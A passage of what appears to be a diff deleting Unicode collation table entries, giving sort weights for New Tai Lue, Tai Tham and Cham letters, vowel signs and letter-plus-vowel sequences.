-19B7 198E ; [.303C.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH TA>
-19BA 198E ; [.303C.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH TA>
-198F  ; [.303D.0020.0002] # NEW TAI LUE LETTER HIGH THA
-19B5 198F ; [.303D.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH THA>
-19B6 198F ; [.303D.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH THA>
-19B7 198F ; [.303D.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH THA>
-19BA 198F ; [.303D.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH THA>
-1990  ; [.303E.0020.0002] # NEW TAI LUE LETTER HIGH NA
-19B5 1990 ; [.303E.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH NA>
-19B6 1990 ; [.303E.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH NA>
-19B7 1990 ; [.303E.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH NA>
-19BA 1990 ; [.303E.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH NA>
-1991  ; [.303F.0020.0002] # NEW TAI LUE LETTER LOW TA
-19B5 1991 ; [.303F.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW TA>
-19B6 1991 ; [.303F.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW TA>
-19B7 1991 ; [.303F.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW TA>
-19BA 1991 ; [.303F.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW TA>
-1992  ; [.3040.0020.0002] # NEW TAI LUE LETTER LOW THA
-19B5 1992 ; [.3040.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW THA>
-19B6 1992 ; [.3040.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW THA>
-19B7 1992 ; [.3040.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW THA>
-19BA 1992 ; [.3040.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW THA>
-1993  ; [.3041.0020.0002] # NEW TAI LUE LETTER LOW NA
-19B5 1993 ; [.3041.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW NA>
-19B6 1993 ; [.3041.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW NA>
-19B7 1993 ; [.3041.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW NA>
-19BA 1993 ; [.3041.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW NA>
-1994  ; [.3042.0020.0002] # NEW TAI LUE LETTER HIGH PA
-19B5 1994 ; [.3042.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH PA>
-19B6 1994 ; [.3042.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH PA>
-19B7 1994 ; [.3042.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH PA>
-19BA 1994 ; [.3042.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH PA>
-1995  ; [.3043.0020.0002] # NEW TAI LUE LETTER HIGH PHA
-19B5 1995 ; [.3043.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH PHA>
-19B6 1995 ; [.3043.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH PHA>
-19B7 1995 ; [.3043.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH PHA>
-19BA 1995 ; [.3043.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH PHA>
-1996  ; [.3044.0020.0002] # NEW TAI LUE LETTER HIGH MA
-19B5 1996 ; [.3044.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH MA>
-19B6 1996 ; [.3044.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH MA>
-19B7 1996 ; [.3044.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH MA>
-19BA 1996 ; [.3044.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH MA>
-1997  ; [.3045.0020.0002] # NEW TAI LUE LETTER LOW PA
-19B5 1997 ; [.3045.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW PA>
-19B6 1997 ; [.3045.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW PA>
-19B7 1997 ; [.3045.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW PA>
-19BA 1997 ; [.3045.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW PA>
-1998  ; [.3046.0020.0002] # NEW TAI LUE LETTER LOW PHA
-19B5 1998 ; [.3046.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW PHA>
-19B6 1998 ; [.3046.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW PHA>
-19B7 1998 ; [.3046.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW PHA>
-19BA 1998 ; [.3046.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW PHA>
-1999  ; [.3047.0020.0002] # NEW TAI LUE LETTER LOW MA
-19B5 1999 ; [.3047.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW MA>
-19B6 1999 ; [.3047.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW MA>
-19B7 1999 ; [.3047.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW MA>
-19BA 1999 ; [.3047.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW MA>
-199A  ; [.3048.0020.0002] # NEW TAI LUE LETTER HIGH FA
-19B5 199A ; [.3048.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH FA>
-19B6 199A ; [.3048.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH FA>
-19B7 199A ; [.3048.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH FA>
-19BA 199A ; [.3048.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH FA>
-199B  ; [.3049.0020.0002] # NEW TAI LUE LETTER HIGH VA
-19B5 199B ; [.3049.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH VA>
-19B6 199B ; [.3049.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH VA>
-19B7 199B ; [.3049.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH VA>
-19BA 199B ; [.3049.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH VA>
-199C  ; [.304A.0020.0002] # NEW TAI LUE LETTER HIGH LA
-19B5 199C ; [.304A.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH LA>
-19B6 199C ; [.304A.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH LA>
-19DE  ; [.304A.0020.0004][.3060.0020.0004] # NEW TAI LUE SIGN LAE
-19DF  ; [.304A.0020.0004][.3060.0020.0004][.306B.0020.0004] # NEW TAI LUE SIGN LAEV
-19B7 199C ; [.304A.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH LA>
-19BA 199C ; [.304A.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH LA>
-199D  ; [.304B.0020.0002] # NEW TAI LUE LETTER LOW FA
-19B5 199D ; [.304B.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW FA>
-19B6 199D ; [.304B.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW FA>
-19B7 199D ; [.304B.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW FA>
-19BA 199D ; [.304B.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW FA>
-199E  ; [.304C.0020.0002] # NEW TAI LUE LETTER LOW VA
-19B5 199E ; [.304C.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW VA>
-19B6 199E ; [.304C.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW VA>
-19B7 199E ; [.304C.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW VA>
-19BA 199E ; [.304C.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW VA>
-199F  ; [.304D.0020.0002] # NEW TAI LUE LETTER LOW LA
-19B5 199F ; [.304D.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW LA>
-19B6 199F ; [.304D.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW LA>
-19B7 199F ; [.304D.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW LA>
-19BA 199F ; [.304D.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW LA>
-19A0  ; [.304E.0020.0002] # NEW TAI LUE LETTER HIGH HA
-19B5 19A0 ; [.304E.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH HA>
-19B6 19A0 ; [.304E.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH HA>
-19B7 19A0 ; [.304E.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH HA>
-19BA 19A0 ; [.304E.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH HA>
-19A1  ; [.304F.0020.0002] # NEW TAI LUE LETTER HIGH DA
-19B5 19A1 ; [.304F.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH DA>
-19B6 19A1 ; [.304F.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH DA>
-19B7 19A1 ; [.304F.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH DA>
-19BA 19A1 ; [.304F.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH DA>
-19A2  ; [.3050.0020.0002] # NEW TAI LUE LETTER HIGH BA
-19B5 19A2 ; [.3050.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH BA>
-19B6 19A2 ; [.3050.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH BA>
-19B7 19A2 ; [.3050.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH BA>
-19BA 19A2 ; [.3050.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH BA>
-19A3  ; [.3051.0020.0002] # NEW TAI LUE LETTER LOW HA
-19B5 19A3 ; [.3051.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW HA>
-19B6 19A3 ; [.3051.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW HA>
-19B7 19A3 ; [.3051.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW HA>
-19BA 19A3 ; [.3051.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW HA>
-19A4  ; [.3052.0020.0002] # NEW TAI LUE LETTER LOW DA
-19B5 19A4 ; [.3052.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW DA>
-19B6 19A4 ; [.3052.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW DA>
-19B7 19A4 ; [.3052.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW DA>
-19BA 19A4 ; [.3052.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW DA>
-19A5  ; [.3053.0020.0002] # NEW TAI LUE LETTER LOW BA
-19B5 19A5 ; [.3053.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW BA>
-19B6 19A5 ; [.3053.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW BA>
-19B7 19A5 ; [.3053.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW BA>
-19BA 19A5 ; [.3053.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW BA>
-19A6  ; [.3054.0020.0002] # NEW TAI LUE LETTER HIGH KVA
-19B5 19A6 ; [.3054.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH KVA>
-19B6 19A6 ; [.3054.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH KVA>
-19B7 19A6 ; [.3054.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH KVA>
-19BA 19A6 ; [.3054.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH KVA>
-19A7  ; [.3055.0020.0002] # NEW TAI LUE LETTER HIGH XVA
-19B5 19A7 ; [.3055.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH XVA>
-19B6 19A7 ; [.3055.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH XVA>
-19B7 19A7 ; [.3055.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH XVA>
-19BA 19A7 ; [.3055.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH XVA>
-19A8  ; [.3056.0020.0002] # NEW TAI LUE LETTER LOW KVA
-19B5 19A8 ; [.3056.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW KVA>
-19B6 19A8 ; [.3056.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW KVA>
-19B7 19A8 ; [.3056.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW KVA>
-19BA 19A8 ; [.3056.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW KVA>
-19A9  ; [.3057.0020.0002] # NEW TAI LUE LETTER LOW XVA
-19B5 19A9 ; [.3057.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW XVA>
-19B6 19A9 ; [.3057.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW XVA>
-19B7 19A9 ; [.3057.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW XVA>
-19BA 19A9 ; [.3057.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW XVA>
-19AA  ; [.3058.0020.0002] # NEW TAI LUE LETTER HIGH SUA
-19B5 19AA ; [.3058.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH SUA>
-19B6 19AA ; [.3058.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH SUA>
-19B7 19AA ; [.3058.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH SUA>
-19BA 19AA ; [.3058.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH SUA>
-19AB  ; [.3059.0020.0002] # NEW TAI LUE LETTER LOW SUA
-19B5 19AB ; [.3059.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW SUA>
-19B6 19AB ; [.3059.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW SUA>
-19B7 19AB ; [.3059.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW SUA>
-19BA 19AB ; [.3059.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW SUA>
-19B0  ; [.305A.0020.0002] # NEW TAI LUE VOWEL SIGN VOWEL SHORTENER
-19B1  ; [.305B.0020.0002] # NEW TAI LUE VOWEL SIGN AA
-19B2  ; [.305C.0020.0002] # NEW TAI LUE VOWEL SIGN II
-19B3  ; [.305D.0020.0002] # NEW TAI LUE VOWEL SIGN U
-19B4  ; [.305E.0020.0002] # NEW TAI LUE VOWEL SIGN UU
-19B5  ; [.305F.0020.0002] # NEW TAI LUE VOWEL SIGN E
-19B6  ; [.3060.0020.0002] # NEW TAI LUE VOWEL SIGN AE
-19B7  ; [.3061.0020.0002] # NEW TAI LUE VOWEL SIGN O
-19B8  ; [.3062.0020.0002] # NEW TAI LUE VOWEL SIGN OA
-19B9  ; [.3063.0020.0002] # NEW TAI LUE VOWEL SIGN UE
-19BA  ; [.3064.0020.0002] # NEW TAI LUE VOWEL SIGN AY
-19BB  ; [.3065.0020.0002] # NEW TAI LUE VOWEL SIGN AAY
-19BC  ; [.3066.0020.0002] # NEW TAI LUE VOWEL SIGN UY
-19BD  ; [.3067.0020.0002] # NEW TAI LUE VOWEL SIGN OY
-19BE  ; [.3068.0020.0002] # NEW TAI LUE VOWEL SIGN OAY
-19BF  ; [.3069.0020.0002] # NEW TAI LUE VOWEL SIGN UEY
-19C0  ; [.306A.0020.0002] # NEW TAI LUE VOWEL SIGN IY
-19C1  ; [.306B.0020.0002] # NEW TAI LUE LETTER FINAL V
-19C2  ; [.306C.0020.0002] # NEW TAI LUE LETTER FINAL NG
-19C3  ; [.306D.0020.0002] # NEW TAI LUE LETTER FINAL N
-19C4  ; [.306E.0020.0002] # NEW TAI LUE LETTER FINAL M
-19C5  ; [.306F.0020.0002] # NEW TAI LUE LETTER FINAL K
-19C6  ; [.3070.0020.0002] # NEW TAI LUE LETTER FINAL D
-19C7  ; [.3071.0020.0002] # NEW TAI LUE LETTER FINAL B
-19C8  ; [.3072.0020.0002] # NEW TAI LUE TONE MARK-1
-19C9  ; [.3073.0020.0002] # NEW TAI LUE TONE MARK-2
-1A20  ; [.3074.0020.0002] # TAI THAM LETTER HIGH KA
-1A21  ; [.3075.0020.0002] # TAI THAM LETTER HIGH KHA
-1A22  ; [.3076.0020.0002] # TAI THAM LETTER HIGH KXA
-1A23  ; [.3077.0020.0002] # TAI THAM LETTER LOW KA
-1A24  ; [.3078.0020.0002] # TAI THAM LETTER LOW KXA
-1A25  ; [.3079.0020.0002] # TAI THAM LETTER LOW KHA
-1A26  ; [.307A.0020.0002] # TAI THAM LETTER NGA
-1A58  ; [.307A.0020.0004] # TAI THAM SIGN MAI KANG LAI
-1A59  ; [.307A.0020.0004] # TAI THAM CONSONANT SIGN FINAL NGA
-1A27  ; [.307B.0020.0002] # TAI THAM LETTER HIGH CA
-1A28  ; [.307C.0020.0002] # TAI THAM LETTER HIGH CHA
-1A29  ; [.307D.0020.0002] # TAI THAM LETTER LOW CA
-1A2A  ; [.307E.0020.0002] # TAI THAM LETTER LOW SA
-1A2B  ; [.307F.0020.0002] # TAI THAM LETTER LOW CHA
-1A2C  ; [.3080.0020.0002] # TAI THAM LETTER NYA
-1A2D  ; [.3081.0020.0002] # TAI THAM LETTER RATA
-1A2E  ; [.3082.0020.0002] # TAI THAM LETTER HIGH RATHA
-1A2F  ; [.3083.0020.0002] # TAI THAM LETTER DA
-1A30  ; [.3084.0020.0002] # TAI THAM LETTER LOW RATHA
-1A31  ; [.3085.0020.0002] # TAI THAM LETTER RANA
-1A32  ; [.3086.0020.0002] # TAI THAM LETTER HIGH TA
-1A33  ; [.3087.0020.0002] # TAI THAM LETTER HIGH THA
-1A34  ; [.3088.0020.0002] # TAI THAM LETTER LOW TA
-1A35  ; [.3089.0020.0002] # TAI THAM LETTER LOW THA
-1A36  ; [.308A.0020.0002] # TAI THAM LETTER NA
-1A37  ; [.308B.0020.0002] # TAI THAM LETTER BA
-1A38  ; [.308C.0020.0002] # TAI THAM LETTER HIGH PA
-1A39  ; [.308D.0020.0002] # TAI THAM LETTER HIGH PHA
-1A3A  ; [.308E.0020.0002] # TAI THAM LETTER HIGH FA
-1A3B  ; [.308F.0020.0002] # TAI THAM LETTER LOW PA
-1A5A  ; [.308F.0020.0004] # TAI THAM CONSONANT SIGN LOW PA
-1A5B  ; [.308F.0020.0004] # TAI THAM CONSONANT SIGN HIGH RATHA OR LOW PA
-1A3C  ; [.3090.0020.0002] # TAI THAM LETTER LOW FA
-1A3D  ; [.3091.0020.0002] # TAI THAM LETTER LOW PHA
-1A3E  ; [.3092.0020.0002] # TAI THAM LETTER MA
-1A3F  ; [.3093.0020.0002] # TAI THAM LETTER LOW YA
-1A40  ; [.3094.0020.0002] # TAI THAM LETTER HIGH YA
-1A41  ; [.3095.0020.0002] # TAI THAM LETTER RA
-1A42  ; [.3096.0020.0002] # TAI THAM LETTER RUE
-1A43  ; [.3097.0020.0002] # TAI THAM LETTER LA
-1A44  ; [.3098.0020.0002] # TAI THAM LETTER LUE
-1A45  ; [.3099.0020.0002] # TAI THAM LETTER WA
-1A46  ; [.309A.0020.0002] # TAI THAM LETTER HIGH SHA
-1A54  ; [.309A.0020.0004][.30C0.0020.0004][.309A.0020.0004] # TAI THAM LETTER GREAT SA
-1A47  ; [.309B.0020.0002] # TAI THAM LETTER HIGH SSA
-1A48  ; [.309C.0020.0002] # TAI THAM LETTER HIGH SA
-1A49  ; [.309D.0020.0002] # TAI THAM LETTER HIGH HA
-1A4A  ; [.309E.0020.0002] # TAI THAM LETTER LLA
-1A4B  ; [.309F.0020.0002] # TAI THAM LETTER A
-1A4C  ; [.30A0.0020.0002] # TAI THAM LETTER LOW HA
-1A53  ; [.30A1.0020.0002] # TAI THAM LETTER LAE
-1A6B  ; [.30A2.0020.0002] # TAI THAM VOWEL SIGN O
-1A55  ; [.30A3.0020.0002] # TAI THAM CONSONANT SIGN MEDIAL RA
-1A56  ; [.30A4.0020.0002] # TAI THAM CONSONANT SIGN MEDIAL LA
-1A57  ; [.30A5.0020.0002] # TAI THAM CONSONANT SIGN LA TANG LAI
-1A5C  ; [.30A6.0020.0002] # TAI THAM CONSONANT SIGN MA
-1A5D  ; [.30A7.0020.0002] # TAI THAM CONSONANT SIGN BA
-1A5E  ; [.30A8.0020.0002] # TAI THAM CONSONANT SIGN SA
-1A4D  ; [.30A9.0020.0002] # TAI THAM LETTER I
-1A4E  ; [.30AA.0020.0002] # TAI THAM LETTER II
-1A4F  ; [.30AB.0020.0002] # TAI THAM LETTER U
-1A50  ; [.30AC.0020.0002] # TAI THAM LETTER UU
-1A51  ; [.30AD.0020.0002] # TAI THAM LETTER EE
-1A52  ; [.30AE.0020.0002] # TAI THAM LETTER OO
-1A61  ; [.30AF.0020.0002] # TAI THAM VOWEL SIGN A
-1A6C  ; [.30B0.0020.0002] # TAI THAM VOWEL SIGN OA BELOW
-1A62  ; [.30B1.0020.0002] # TAI THAM VOWEL SIGN MAI SAT
-1A63  ; [.30B2.0020.0002] # TAI THAM VOWEL SIGN AA
-1A64  ; [.30B2.0020.0004] # TAI THAM VOWEL SIGN TALL AA
-1A65  ; [.30B3.0020.0002] # TAI THAM VOWEL SIGN I
-1A66  ; [.30B4.0020.0002] # TAI THAM VOWEL SIGN II
-1A67  ; [.30B5.0020.0002] # TAI THAM VOWEL SIGN UE
-1A68  ; [.30B6.0020.0002] # TAI THAM VOWEL SIGN UUE
-1A69  ; [.30B7.0020.0002] # TAI THAM VOWEL SIGN U
-1A6A  ; [.30B8.0020.0002] # TAI THAM VOWEL SIGN UU
-1A6E  ; [.30B9.0020.0002] # TAI THAM VOWEL SIGN E
-1A6F  ; [.30BA.0020.0002] # TAI THAM VOWEL SIGN AE
-1A73  ; [.30BB.0020.0002] # TAI THAM VOWEL SIGN OA ABOVE
-1A70  ; [.30BC.0020.0002] # TAI THAM VOWEL SIGN OO
-1A71  ; [.30BD.0020.0002] # TAI THAM VOWEL SIGN AI
-1A72  ; [.30BE.0020.0002] # TAI THAM VOWEL SIGN THAM AI
-1A6D  ; [.30BF.0020.0002] # TAI THAM VOWEL SIGN OY
-1A60  ; [.30C0.0020.0002] # TAI THAM SIGN SAKOT
-AA00  ; [.30C1.0020.0002] # CHAM LETTER A
-AA01  ; [.30C2.0020.0002] # CHAM LETTER I
-AA02  ; [.30C3.0020.0002] # CHAM LETTER U
-AA03  ; [.30C4.0020.0002] # CHAM LETTER E
-AA04  ; [.30C5.0020.0002] # CHAM LETTER AI
-AA05  ; [.30C6.0020.0002] # CHAM LETTER O
-AA06  ; [.30C7.0020.0002] # CHAM LETTER KA
-AA07  ; [.30C8.0020.0002] # CHAM LETTER KHA
-AA08  ; [.30C9.0020.0002] # CHAM LETTER GA
-AA09  ; [.30CA.0020.0002] # CHAM LETTER GHA
-AA0A  ; [.30CB.0020.0002] # CHAM LETTER NGUE
-AA0B  ; [.30CC.0020.0002] # CHAM LETTER NGA
-AA0C  ; [.30CD.0020.0002] # CHAM LETTER CHA
-AA0D  ; [.30CE.0020.0002] # CHAM LETTER CHHA
-AA0E  ; [.30CF.0020.0002] # CHAM LETTER JA
-AA0F  ; [.30D0.0020.0002] # CHAM LETTER JHA
-AA10  ; [.30D1.0020.0002] # CHAM LETTER NHUE
-AA11  ; [.30D2.0020.0002] # CHAM LETTER NHA
-AA12  ; [.30D3.0020.0002] # CHAM LETTER NHJA
-AA13  ; [.30D4.0020.0002] # CHAM LETTER TA
-AA14  ; [.30D5.0020.0002] # CHAM LETTER THA
-AA15  ; [.30D6.0020.0002] # CHAM LETTER DA
-AA16  ; [.30D7.0020.0002] # CHAM LETTER DHA
-AA17  ; [.30D8.0020.0002] # CHAM LETTER NUE
-AA18  ; [.30D9.0020.0002] # CHAM LETTER NA
-AA19  ; [.30DA.0020.0002] # CHAM LETTER DDA
-AA1A  ; [.30DB.0020.0002] # CHAM LETTER PA
-AA1B  ; [.30DC.0020.0002] # CHAM LETTER PPA
